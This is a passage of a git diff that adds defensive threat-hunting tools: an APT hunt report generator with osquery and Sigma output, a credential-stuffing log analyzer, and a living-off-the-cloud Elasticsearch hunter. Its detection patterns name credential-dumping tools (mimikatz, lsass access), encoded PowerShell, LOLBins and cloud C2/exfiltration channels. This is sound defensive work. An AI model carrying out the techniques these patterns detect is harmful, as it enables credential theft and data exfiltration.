protocol C2", + "SELECT pid, remote_address, remote_port, local_port FROM process_open_sockets " + "WHERE remote_port IN (443, 8443, 8080, 4443) AND family=2;"), + "T1055": ("Process injection", + "SELECT pid, name, cmdline FROM processes WHERE on_disk=0;"), + "T1003": ("OS credential dumping", + "SELECT pid, name, cmdline FROM processes " + "WHERE name IN ('mimikatz.exe','procdump.exe','ntdsutil.exe') " + "OR cmdline LIKE '%sekurlsa%' OR cmdline LIKE '%lsass%';"), + "T1021": ("Remote services lateral movement", + "SELECT pid, name, cmdline FROM processes " + "WHERE name IN ('psexec.exe','wmic.exe','winrm.cmd') " + "OR cmdline LIKE '%invoke-command%';"), + "T1027": ("Obfuscated files or information", + "SELECT pid, name, cmdline FROM processes " + "WHERE cmdline LIKE '%-enc%' OR cmdline LIKE '%-encodedcommand%';"), + "T1566": ("Phishing initial access", + "SELECT path, filename, size FROM file " + "WHERE directory LIKE '%Downloads%' " + "AND (filename LIKE '%.iso' OR filename LIKE '%.img' OR filename LIKE '%.lnk');"), + "T1218": ("Signed binary proxy execution", + "SELECT pid, name, cmdline, parent FROM processes " + "WHERE name IN ('mshta.exe','rundll32.exe','regsvr32.exe','certutil.exe');"), + } + hunts = [] + for tech in techniques: + tech_id = tech["id"].split(".")[0] + if tech_id in query_map: + desc, query = query_map[tech_id] + hunts.append({"technique": tech["id"], "name": tech["name"], + "description": desc, "osquery": query}) + return hunts + + +def generate_sigma_rule(technique_id, technique_name, tactic): + """Generate a Sigma detection rule for a given technique.""" + return { + "title": f"Detect {technique_name} ({technique_id})", + "status": "experimental", + "description": f"Detects potential {technique_name} activity mapped to {technique_id}", + "references": [f"https://attack.mitre.org/techniques/{technique_id.replace('.','/')}/"], + "tags": [f"attack.{t}" for t in tactic] + [f"attack.{technique_id.lower()}"], + "logsource": {"category": "process_creation", "product": "windows"}, + "detection": {"selection": {"technique_id": technique_id}, "condition": "selection"}, + "level": "medium", + } + + +def build_hunt_report(group_name): + """Build a complete threat hunt report for an APT group.""" + print(f"\n{'='*70}") + print(f" APT THREAT HUNT REPORT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*70}\n") + + print(f"[*] Querying MITRE ATT&CK for group: {group_name}") + group_data = get_apt_group_ttps(group_name) + if not group_data: + return + + print(f"[+] Found: {group_data['group']} ({group_data['id']})") + print(f"[+] Techniques mapped: {len(group_data['techniques'])}\n") + + print(f"--- TECHNIQUE COVERAGE ---") + tactic_counts = {} + for t in group_data["techniques"]: + print(f" [{t['id']}] {t['name']} -> {', '.join(t['tactic'])}") + for tac in t["tactic"]: + tactic_counts[tac] = tactic_counts.get(tac, 0) + 1 + + print(f"\n--- TACTIC DISTRIBUTION ---") + for tac, count in sorted(tactic_counts.items(), key=lambda x: -x[1]): + bar = "#" * count + print(f" {tac:<30} {bar} ({count})") + + print(f"\n--- OSQUERY HUNT QUERIES ---") + hunts = generate_osquery_hunts(group_data["techniques"]) + if hunts: + for h in hunts: + print(f"\n Technique: {h['technique']} - {h['description']}") + print(f" Query: {h['osquery']}") + else: + print(" No matching osquery hunts for this group's techniques.") + + print(f"\n--- SIGMA RULES ---") + for t in group_data["techniques"][:5]: + rule = generate_sigma_rule(t["id"], t["name"], t["tactic"]) + print(f"\n Rule: {rule['title']}") + print(f" Tags: {', '.join(rule['tags'])}") + print(f" Level: {rule['level']}") + + print(f"\n--- HUNT RECOMMENDATIONS ---") + print(f" 1. Execute osquery hunts across all endpoints via fleet manager") + print(f" 2. Search SIEM for technique indicators over past 90 days") + print(f" 3. Validate EDR telemetry covers all {len(group_data['techniques'])} techniques") + print(f" 4. Cross-reference with network logs (Zeek/Suricata) for C2 patterns") + print(f" 5. Document findings using Diamond Model analysis framework") + print(f"\n{'='*70}\n") + + return group_data + + +def main(): + parser = argparse.ArgumentParser(description="APT Threat Hunting Agent") + parser.add_argument("--group", default="APT29", help="APT group name (e.g., APT29, APT28, Lazarus)") + parser.add_argument("--output", help="Save report to JSON file") + args = parser.parse_args() + + report = build_hunt_report(args.group) + if report and args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[+] JSON report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-credential-stuffing-attacks/LICENSE b/skills/hunting-credential-stuffing-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-credential-stuffing-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-credential-stuffing-attacks/SKILL.md b/skills/hunting-credential-stuffing-attacks/SKILL.md new file mode 100644 index 00000000..794903f3 --- /dev/null +++ b/skills/hunting-credential-stuffing-attacks/SKILL.md @@ -0,0 +1,43 @@ +--- +name: hunting-credential-stuffing-attacks +description: > + Detects credential stuffing attacks by analyzing authentication logs for login velocity + anomalies, ASN diversity, password spray patterns, and geographic distribution of failed + logins. Uses statistical analysis on Splunk or raw log data. Use when investigating + account takeover campaigns or building detection rules for auth abuse. +--- + +# Hunting Credential Stuffing Attacks + +## Instructions + +Analyze authentication logs to detect credential stuffing by identifying patterns +of distributed login failures, high IP diversity, and suspicious ASN distribution. + +```python +import pandas as pd +from collections import Counter + +# Load auth logs +df = pd.read_csv("auth_logs.csv", parse_dates=["timestamp"]) + +# Credential stuffing indicator: many IPs trying few accounts +ip_per_account = df[df["status"] == "failed"].groupby("username")["source_ip"].nunique() +accounts_under_attack = ip_per_account[ip_per_account > 50] +``` + +Key detection indicators: +1. High unique source IPs per failed username +2. Low success rate across many accounts (< 1%) +3. ASN concentration from cloud/proxy providers +4. Geographic impossibility (same account, distant locations) +5. User-agent uniformity across distributed IPs + +## Examples + +```python +# Password spray: one password tried across many accounts +spray = df[df["status"] == "failed"].groupby(["source_ip", "password_hash"]).agg( + accounts=("username", "nunique")).reset_index() +sprays = spray[spray["accounts"] > 10] +``` diff --git a/skills/hunting-credential-stuffing-attacks/references/api-reference.md b/skills/hunting-credential-stuffing-attacks/references/api-reference.md new file mode 100644 index 00000000..4a5fc14d --- /dev/null +++ b/skills/hunting-credential-stuffing-attacks/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Hunting Credential Stuffing Attacks + +## Pandas Authentication Log Analysis + +```python +import pandas as pd + +df = pd.read_csv("auth_logs.csv", parse_dates=["timestamp"]) +# Columns: timestamp, username, source_ip, status, user_agent + +# Failed logins per IP +df[df["status"] == "failed"].groupby("source_ip")["username"].nunique() + +# Failed logins per account (distributed attack) +df[df["status"] == "failed"].groupby("username")["source_ip"].nunique() + +# Login velocity (attempts per minute) +df.set_index("timestamp").resample("1min").count() +``` + +## Detection Thresholds + +| Indicator | Threshold | Attack Type | +|-----------|-----------|-------------| +| Unique accounts per IP | > 20 | Credential stuffing | +| Unique IPs per account | > 5 | Distributed attack | +| Attempts/account ratio | ~1 | Password spray | +| Success after N failures | N > 5 | Account compromise | +| Single UA > 30% of failures | > 50 events | Automated tool | + +## Splunk SPL Patterns + +```spl +--- Credential stuffing detection +index=auth status=failed +| stats dc(username) as accounts, count by src_ip +| where accounts > 20 + +--- Password spray detection +index=auth status=failed +| stats dc(username) as accounts, count by src_ip +| where accounts > 10 AND count <= accounts * 3 +``` + +### References + +- OWASP Credential Stuffing: https://owasp.org/www-community/attacks/Credential_stuffing +- Splunk auth analysis: https://docs.splunk.com/Documentation/ES +- pandas: https://pandas.pydata.org/docs/ diff --git a/skills/hunting-credential-stuffing-attacks/scripts/agent.py b/skills/hunting-credential-stuffing-attacks/scripts/agent.py new file mode 100644 index 00000000..dfb21bac --- /dev/null +++ b/skills/hunting-credential-stuffing-attacks/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +"""Agent for hunting credential stuffing attacks in authentication logs.""" + +import os +import json +import argparse +from datetime import datetime +from collections import defaultdict + +import pandas as pd +import numpy as np + + +def load_auth_logs(log_path): + """Load authentication logs from CSV or JSON lines.""" + if log_path.endswith(".csv"): + return pd.read_csv(log_path, parse_dates=["timestamp"]) + elif log_path.endswith(".json") or log_path.endswith(".jsonl"): + return pd.read_json(log_path, lines=True) + else: + return pd.read_csv(log_path, parse_dates=["timestamp"]) + + +def detect_credential_stuffing(df, ip_threshold=20, time_window="1h"): + """Detect credential stuffing by analyzing failed login patterns.""" + failed = df[df["status"] == "failed"].copy() + if failed.empty: + return [] + failed = failed.sort_values("timestamp") + findings = [] + ip_account = failed.groupby("source_ip").agg( + unique_accounts=("username", "nunique"), + total_attempts=("username", "count"), + first_seen=("timestamp", "min"), + last_seen=("timestamp", "max"), + ).reset_index() + stuffing_ips = ip_account[ip_account["unique_accounts"] >= ip_threshold] + for _, row in stuffing_ips.iterrows(): + duration = (row["last_seen"] - row["first_seen"]).total_seconds() + findings.append({ + "source_ip": row["source_ip"], + "unique_accounts_targeted": int(row["unique_accounts"]), + "total_attempts": int(row["total_attempts"]), + "duration_seconds": int(duration), + "attempts_per_minute": round(row["total_attempts"] / max(duration / 60, 1), 1), + "type": "credential_stuffing", + "severity": "CRITICAL" if row["unique_accounts"] > 100 else "HIGH", + }) + return sorted(findings, key=lambda x: x["unique_accounts_targeted"], reverse=True) + + +def detect_password_spray(df, account_threshold=10): + """Detect password spray attacks (one password, many accounts).""" + failed = df[df["status"] == "failed"].copy() + if failed.empty: + return [] + findings = [] + ip_groups = failed.groupby("source_ip").agg( + unique_accounts=("username", "nunique"), + total_attempts=("username", "count"), + ).reset_index() + spray_candidates = ip_groups[ + (ip_groups["unique_accounts"] >= account_threshold) & + (ip_groups["total_attempts"] <= ip_groups["unique_accounts"] * 3) + ] + for _, row in spray_candidates.iterrows(): + ratio = row["total_attempts"] / row["unique_accounts"] + findings.append({ + "source_ip": row["source_ip"], + "unique_accounts": int(row["unique_accounts"]), + "total_attempts": int(row["total_attempts"]), + "attempts_per_account": round(ratio, 1), + "type": "password_spray", + "severity": "HIGH", + }) + return findings + + +def detect_distributed_attack(df, account_ip_threshold=5): + """Detect distributed credential stuffing (many IPs per account).""" + failed = df[df["status"] == "failed"] + if failed.empty: + return [] + account_ips = failed.groupby("username").agg( + unique_ips=("source_ip", "nunique"), + total_failures=("source_ip", "count"), + ).reset_index() + distributed = account_ips[account_ips["unique_ips"] >= account_ip_threshold] + findings = [] + for _, row in distributed.iterrows(): + findings.append({ + "username": row["username"], + "unique_source_ips": int(row["unique_ips"]), + "total_failures": int(row["total_failures"]), + "type": "distributed_attack", + "severity": "HIGH", + }) + return sorted(findings, key=lambda x: x["unique_source_ips"], reverse=True) + + +def analyze_success_after_failures(df, min_failures=5): + """Find accounts with successful login after many failures (compromised).""" + compromised = [] + for username, group in df.groupby("username"): + group = group.sort_values("timestamp") + failures = 0 + for _, row in group.iterrows(): + if row["status"] == "failed": + failures += 1 + elif row["status"] == "success" and failures >= min_failures: + compromised.append({ + "username": username, + "failures_before_success": failures, + "success_ip": row.get("source_ip", ""), + "success_time": str(row["timestamp"]), + "severity": "CRITICAL", + }) + break + return compromised + + +def analyze_user_agent_patterns(df): + """Detect automation by analyzing user-agent distribution.""" + failed = df[df["status"] == "failed"] + if "user_agent" not in failed.columns or failed.empty: + return [] + ua_counts = failed["user_agent"].value_counts() + total = len(failed) + suspicious = [] + for ua, count in ua_counts.items(): + pct = count / total * 100 + if pct > 30 and count > 50: + suspicious.append({ + "user_agent": str(ua)[:200], + "count": int(count), + "percentage": round(pct, 1), + "likely_automated": True, + }) + return suspicious + + +def calculate_attack_metrics(df): + """Calculate overall authentication attack metrics.""" + total = len(df) + failures = len(df[df["status"] == "failed"]) + successes = len(df[df["status"] == "success"]) + return { + "total_events": total, + "total_failures": failures, + "total_successes": successes, + "failure_rate": round(failures / max(total, 1) * 100, 1), + "unique_ips": int(df["source_ip"].nunique()), + "unique_accounts": int(df["username"].nunique()), + "time_range": f"{df['timestamp'].min()} to {df['timestamp'].max()}", + } + + +def main(): + parser = argparse.ArgumentParser(description="Credential Stuffing Detection Agent") + parser.add_argument("--log-file", required=True, help="Authentication log file") + parser.add_argument("--output", default="credential_stuffing_report.json") + parser.add_argument("--action", choices=[ + "stuffing", "spray", "distributed", "compromised", "full_hunt" + ], default="full_hunt") + args = parser.parse_args() + + df = load_auth_logs(args.log_file) + report = {"generated_at": datetime.utcnow().isoformat(), + "metrics": calculate_attack_metrics(df), "findings": {}} + print(f"[+] Loaded {len(df)} auth events") + + if args.action in ("stuffing", "full_hunt"): + findings = detect_credential_stuffing(df) + report["findings"]["credential_stuffing"] = findings + print(f"[+] Credential stuffing IPs: {len(findings)}") + + if args.action in ("spray", "full_hunt"): + findings = detect_password_spray(df) + report["findings"]["password_spray"] = findings + print(f"[+] Password spray IPs: {len(findings)}") + + if args.action in ("distributed", "full_hunt"): + findings = detect_distributed_attack(df) + report["findings"]["distributed_attacks"] = findings + print(f"[+] Distributed attack targets: {len(findings)}") + + if args.action in ("compromised", "full_hunt"): + findings = analyze_success_after_failures(df) + report["findings"]["compromised_accounts"] = findings + print(f"[+] Potentially compromised accounts: {len(findings)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE b/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-beaconing-with-frequency-analysis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-command-and-control-beaconing/LICENSE b/skills/hunting-for-command-and-control-beaconing/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-command-and-control-beaconing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-data-exfiltration-indicators/LICENSE b/skills/hunting-for-data-exfiltration-indicators/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-data-exfiltration-indicators/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-dns-tunneling-with-zeek/LICENSE b/skills/hunting-for-dns-tunneling-with-zeek/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-dns-tunneling-with-zeek/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-living-off-the-cloud-techniques/LICENSE b/skills/hunting-for-living-off-the-cloud-techniques/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-living-off-the-cloud-techniques/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md b/skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md new file mode 100644 index 00000000..2194df67 --- /dev/null +++ b/skills/hunting-for-living-off-the-cloud-techniques/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference — Hunting for Living-off-the-Cloud Techniques + +## Libraries Used +- **elasticsearch** (elasticsearch-py): Query Elastic SIEM for cloud abuse indicators +- **re**: Pattern matching against cloud C2 domain patterns in DNS logs + +## CLI Interface + +``` +python agent.py hunt --es-host --index [--api-key ] [--hours ] +python agent.py dns --log-file +``` + +## Core Functions + +### `hunt_lotc_elastic(es_host, es_index, api_key=None, hours=24)` +Executes five pre-built hunting queries against Elasticsearch to detect cloud service abuse. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `es_host` | str | Elasticsearch host URL (e.g., `https://es:9200`) | +| `es_index` | str | Index pattern (default: `logs-*`) | +| `api_key` | str | Optional API key for authentication | +| `hours` | int | Lookback window in hours | + +**Returns:** dict with `hunts` list (each with `name`, `description`, `hits`, `events`) and `total_hits`. + +### `analyze_dns_logs(log_file)` +Scans DNS query log files for connections to known cloud services used for C2, staging, and exfiltration. + +**Parameters:** +| Name | Type | Description | +|------|------|-------------| +| `log_file` | str | Path to DNS query log file | + +**Returns:** dict with `total_matches`, `findings` list, and `cloud_services_detected`. + +## Hunting Queries + +| Query Name | MITRE Technique | Description | +|-----------|----------------|-------------| +| `azure_storage_exfil` | T1567.002 | Large uploads to Azure Blob Storage | +| `aws_s3_staging` | T1537 | Unusual S3 bucket creation or large PutObject | +| `saas_c2_channel` | T1102 | Outbound connections to SaaS APIs (Telegram, Slack, Discord) | +| `cloud_function_invoke` | T1584.007 | Cloud function invocation via LOLBins | +| `github_raw_download` | T1105 | Payload downloads from raw GitHub content | + +## Elasticsearch API Calls +- `Elasticsearch(hosts=[url], api_key=key)` — Initialize client +- `es.search(index=pattern, body=query)` — Execute search query +- Response: `resp["hits"]["total"]["value"]`, `resp["hits"]["hits"][]._source` + +## Dependencies +``` +pip install elasticsearch>=8.0 +``` diff --git a/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py b/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py new file mode 100644 index 00000000..aea2fa5e --- /dev/null +++ b/skills/hunting-for-living-off-the-cloud-techniques/scripts/agent.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""Agent for hunting living-off-the-cloud (LOTC) techniques using cloud service logs.""" + +import json +import argparse +import re +from datetime import datetime, timedelta + +try: + from elasticsearch import Elasticsearch +except ImportError: + Elasticsearch = None + +CLOUD_C2_DOMAINS = [ + "*.blob.core.windows.net", "*.s3.amazonaws.com", "*.storage.googleapis.com", + "*.azurewebsites.net", "*.cloudfront.net", "*.execute-api.amazonaws.com", + "*.cloudfunctions.net", "*.run.app", "*.appspot.com", + "pastebin.com", "raw.githubusercontent.com", "gist.githubusercontent.com", + "discord.com/api/webhooks", "hooks.slack.com", "api.telegram.org", + "notion.so", "docs.google.com", "drive.google.com", + "*.firebaseio.com", "*.azureedge.net", "*.ngrok.io", +] + +SUSPICIOUS_PATTERNS = { + "azure_storage_exfil": { + "description": "Large uploads to Azure Blob Storage", + "query": {"bool": {"must": [ + {"match": {"event.action": "PutBlob"}}, + {"range": {"http.request.bytes": {"gte": 10485760}}} + ]}}, + }, + "aws_s3_staging": { + "description": "Unusual S3 bucket creation or large PutObject", + "query": {"bool": {"must": [ + {"terms": {"event.action": ["CreateBucket", "PutObject"]}}, + {"range": {"@timestamp": {"gte": "now-24h"}}} + ]}}, + }, + "saas_c2_channel": { + "description": "Outbound connections to SaaS APIs used for C2", + "query": {"bool": {"must": [ + {"terms": {"dns.question.name": [ + "api.telegram.org", "discord.com", "hooks.slack.com", + "pastebin.com", "notion.so" + ]}}, + {"match": {"process.name": {"query": "powershell.exe cmd.exe rundll32.exe", "operator": "or"}}} + ]}}, + }, + "cloud_function_invoke": { + "description": "Suspicious invocation of cloud functions for payload delivery", + "query": {"bool": {"must": [ + {"regexp": {"url.domain": ".*\\.(cloudfunctions\\.net|execute-api\\.amazonaws\\.com|azurewebsites\\.net)"}}, + {"terms": {"process.name": ["certutil.exe", "bitsadmin.exe", "curl.exe", "wget.exe"]}} + ]}}, + }, + "github_raw_download": { + "description": "Downloads from raw GitHub content indicating payload staging", + "query": {"bool": {"must": [ + {"wildcard": {"url.domain": "*githubusercontent.com"}}, + {"terms": {"process.name": ["powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe"]}} + ]}}, + }, +} + + +def hunt_lotc_elastic(es_host, es_index, api_key=None, hours=24): + """Run LOTC hunting queries against Elasticsearch/Elastic SIEM.""" + if Elasticsearch is None: + return {"error": "elasticsearch-py not installed"} + kwargs = {"hosts": [es_host]} + if api_key: + kwargs["api_key"] = api_key + es = Elasticsearch(**kwargs) + results = {"timestamp": datetime.utcnow().isoformat(), "hunts": [], "total_hits": 0} + for hunt_name, hunt_def in SUSPICIOUS_PATTERNS.items(): + body = {"query": hunt_def["query"], "size": 100, "sort": [{"@timestamp": "desc"}]} + resp = es.search(index=es_index, body=body) + hits = resp["hits"]["total"]["value"] + events = [] + for hit in resp["hits"]["hits"]: + src = hit["_source"] + events.append({ + "timestamp": src.get("@timestamp"), + "host": src.get("host", {}).get("name"), + "process": src.get("process", {}).get("name"), + "command_line": src.get("process", {}).get("command_line"), + "destination": src.get("url", {}).get("domain") or src.get("dns", {}).get("question", {}).get("name"), + "user": src.get("user", {}).get("name"), + }) + results["hunts"].append({ + "name": hunt_name, + "description": hunt_def["description"], + "hits": hits, + "events": events, + }) + results["total_hits"] += hits + return results + + +def analyze_dns_logs(log_file): + """Analyze DNS query logs for cloud C2 domain patterns.""" + findings = [] + cloud_regex = re.compile( + r"(blob\.core\.windows\.net|s3\.amazonaws\.com|storage\.googleapis\.com|" + r"cloudfunctions\.net|execute-api\.amazonaws\.com|azurewebsites\.net|" + r"ngrok\.io|firebaseio\.com|pastebin\.com|githubusercontent\.com|" + r"api\.telegram\.org|discord\.com|hooks\.slack\.com)", re.I + ) + with open(log_file, "r") as f: + for line_num, line in enumerate(f, 1): + match = cloud_regex.search(line) + if match: + findings.append({ + "line": line_num, + "matched_domain": match.group(0), + "raw": line.strip()[:200], + }) + return { + "file": str(log_file), + "total_matches": len(findings), + "findings": findings[:500], + "cloud_services_detected": list(set(f["matched_domain"] for f in findings)), + } + + +def main(): + parser = argparse.ArgumentParser(description="Hunt for Living-off-the-Cloud (LOTC) techniques") + sub = parser.add_subparsers(dest="command") + + hunt = sub.add_parser("hunt", help="Run LOTC hunts against Elasticsearch") + hunt.add_argument("--es-host", required=True, help="Elasticsearch host URL") + hunt.add_argument("--index", default="logs-*", help="Index pattern") + hunt.add_argument("--api-key", help="Elasticsearch API key") + hunt.add_argument("--hours", type=int, default=24, help="Lookback hours") + + dns = sub.add_parser("dns", help="Analyze DNS logs for cloud C2 domains") + dns.add_argument("--log-file", required=True, help="Path to DNS query log file") + + args = parser.parse_args() + if args.command == "hunt": + result = hunt_lotc_elastic(args.es_host, args.index, args.api_key, args.hours) + elif args.command == "dns": + result = analyze_dns_logs(args.log_file) + else: + parser.print_help() + return + print(json.dumps(result, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/hunting-for-living-off-the-land-binaries/LICENSE b/skills/hunting-for-living-off-the-land-binaries/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/hunting-for-living-off-the-land-binaries/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/hunting-for-living-off-the-land-binaries/references/api-reference.md b/skills/hunting-for-living-off-the-land-binaries/references/api-reference.md new file mode 100644 index 00000000..f2a35d08 --- /dev/null +++ b/skills/hunting-for-living-off-the-land-binaries/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference — Hunting for Living-off-the-Land Binaries + +## Libraries Used +- **elasticsearch** (elasticsearch-py): Query Elastic 